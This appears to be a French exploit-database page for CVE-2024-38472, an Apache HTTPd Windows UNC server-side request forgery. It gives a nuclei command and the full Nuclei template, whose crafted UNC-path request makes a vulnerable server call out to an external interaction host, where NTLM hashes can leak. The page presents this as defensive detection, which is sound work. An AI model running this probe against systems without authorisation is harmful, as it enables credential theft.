Exploit matérialisé

CVE-2024-38472

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei high Vérifié

Source

Apache HTTPd Windows UNC - Server-Side Request Forgery

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2024-38472 -u https://your-target

Template yaml

id: CVE-2024-38472

info:
  name: Apache HTTPd Windows UNC - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue.  Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
  impact: |
    Attackers on Windows-based Apache HTTPd servers can exploit SSRF to potentially leak NTLM hashes to malicious servers, leading to credential theft and potential network compromise.
  remediation: |
    Upgrade to Apache HTTPd version 2.4.60 or later and configure the UNCList directive for UNC path access.
  reference:
    - https://blog.orange.tw/2024/08/confusion-attacks-en.html
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://security.netapp.com/advisory/ntap-20240712-0001/
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/Abdurahmon3236/CVE-2024-38472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38472
    cwe-id: CWE-918
    epss-score: 0.6947
    epss-percentile: 0.99309
  tags: cve,cve2024,apache,ssrf,oast,httpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "/apachehttpd"
# digest: 4b0a00483046022100bf5ef7bd94a49bf26dfab6debc010cb726b23b6f15918ee4e8b0da9066c7be7a022100fcb0c3683867d709a3a0b21f8cb96003c01adcb6835cd60564a50ee5eb27213c:922c64590222798bb761d5b6d8e72950